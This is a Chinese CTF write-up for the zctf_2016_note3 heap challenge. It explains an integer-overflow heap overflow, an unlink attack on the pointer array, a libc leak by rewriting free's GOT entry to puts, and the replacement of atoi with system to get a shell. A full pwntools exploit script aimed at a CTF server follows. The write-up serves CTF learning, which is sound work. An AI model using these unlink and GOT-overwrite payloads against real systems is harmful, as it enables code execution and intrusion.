zctf_2016_note3
审题环节
管理我们先来checksec一下
开启了canary和NX的64位程序
一个非常标准的菜单题 1 添加堆 2 展示堆 3 编辑堆 4 删除堆
1 添加堆
有且只能添加最多7个chunk
size大小不得大于等于1024
chunk_addr存储在ptr上 chunk_detail内存储输入的chunk的大小(注意不是实际大小
2 展示堆 (fake)
此处的show函数并没有展示堆的功能 这里也就不把图片粘贴上来了
3 编辑堆
这是漏洞所在地
my_read中存在整数溢出漏洞
当a2为0时由于i是unsigned_int所以可以修改一个非常非常大的size 造成了堆溢出
4 删除堆
标准的删除堆流程
审题结束,开始解题
解题
思路
存在堆溢出 考虑使用unlink来达成目标
- 利用堆溢出漏洞创造unlink条件
- 泄露libc地址
- 修改atoi为system 达成目标
利用堆溢出漏洞创造unlink条件
首先我们要利用堆溢出漏洞创造unlink条件我们先添加4个chunk
第一个chunk的size应为0这样就满足了造成堆溢出漏洞的整数溢出条件
注意当你选择malloc一个size为0的chunk 该chunk的size位实际大小位0x20
add(b'0',b"aaaa") #chunk 0
#cause here the size is 0 so we can overflow the whole heap in the func "edit"
add(b"256",b"bbbb") #chunk 1
add(b"256",b"cccc") #chunk 2
add(b"256",b"dddd") #chunk 3
接下来就是标准的unlink流程
将指针转移到ptr上
ptr = 0x6020C8
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
payload=p64(0)*3+p64(0x121)+b'a'*0x110+p64(0)+p64(0x101)+p64(fd)+p64(bk)+b'a'*(0x100-0x20)+p64(0x100)+p64(0x110)#fake chunk
edit(b'0',payload)
delete(b'1')#now we have unlinked the chunk 2. The chunk go to the ptr
泄露libc地址
此时我们已经迁移到了ptr上那么此时我们就可以修改ptr上的内容了 将chunk的指针篡改为我们需要的free_got和atoi_got的地址
然后将free_got内的内容修改为puts_plt 接下来我们再去delete我们的chunk 2此时实际效果就是puts(atoi_got)这样我们就获得了atoi_got的地址 即可利用该地址来泄露libc
payload=b'a'*8+p64(free_got)+p64(atoi_got)+p64(atoi_got)+p64(atoi_got)
edit(b'2',payload)
payload=p64(puts_plt)[:-1]
#we write a "[:-1]" here for the sentence "sendline" it will add a "\n" so we need ti delete one bit here
edit(b'0',payload)
io.recv()
delete(b'2') #show atoi_addr
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
修改atoi为system
将atoi修改为system地址 然后我们就可以输入/bin/sh达成system(“/bin/sh”)的效果
system_addr=libc_base+libc.symbols['system']
edit(b'3', p64(system_addr)[:-1])
io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')
io.interactive()
这样我们就可以成功获取flag了
exp:
from pwn import *
#from LibcSearcher import *
context.log_level='debug'
elf=ELF('./zctf_2016_note3')
libc=ELF('./libc-2.23.so')
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
#io=process('./zctf_2016_note3')
io=remote('node4.buuoj.cn',26080)
def add(size,content):
io.recvuntil(b'on--->>\n')
io.sendline(b'1')
io.recvuntil(b'content:(less than 1024)\n')
io.sendline(size)
io.recvuntil(b'content:\n')
io.sendline(content)
#def show(idx) #useless
def edit(idx,content):
io.recvuntil(b'on--->>\n')
io.sendline(b'3')
io.recvuntil(b'Input the id of the note:\n')
io.sendline(idx)
io.recvuntil(b'nput the new content:\n')
io.sendline(content)
def delete(idx):
io.recvuntil(b'on--->>\n')
io.sendline(b'4')
io.recvuntil(b'Input the id of the note:\n')
io.sendline(idx)
add(b'0',b"aaaa") #chunk 0
#cause here the size is 0 so we can overflow the whole heap in the func "edit"
add(b"256",b"bbbb") #chunk 1
add(b"256",b"cccc") #chunk 2
add(b"256",b"dddd") #chunk 3
ptr = 0x6020C8
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
payload=p64(0)*3+p64(0x121)+b'a'*0x110+p64(0)+p64(0x101)+p64(fd)+p64(bk)+b'a'*(0x100-0x20)+p64(0x100)+p64(0x110)#fake chunk
edit(b'0',payload)
delete(b'1')#now we have unlinked the chunk 2. The chunk go to the ptr
payload=b'a'*8+p64(free_got)+p64(atoi_got)+p64(atoi_got)+p64(atoi_got)
edit(b'2',payload)
payload=p64(puts_plt)[:-1]
#we write a "[:-1]" here for the sentence "sendline" it will add a "\n" so we need ti delete one bit here
edit(b'0',payload)
#pause()
io.recv()
delete(b'2') #show atoi_addr
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#atoi_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))
libc_base=atoi_addr-libc.symbols['atoi']
system_addr=libc_base+libc.symbols['system']
edit(b'3', p64(system_addr)[:-1])
io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')
io.interactive()
本文参考了长亭一梦师傅的文章 (78条消息) zctf_2016_note3 详解_长亭一梦的博客-CSDN博客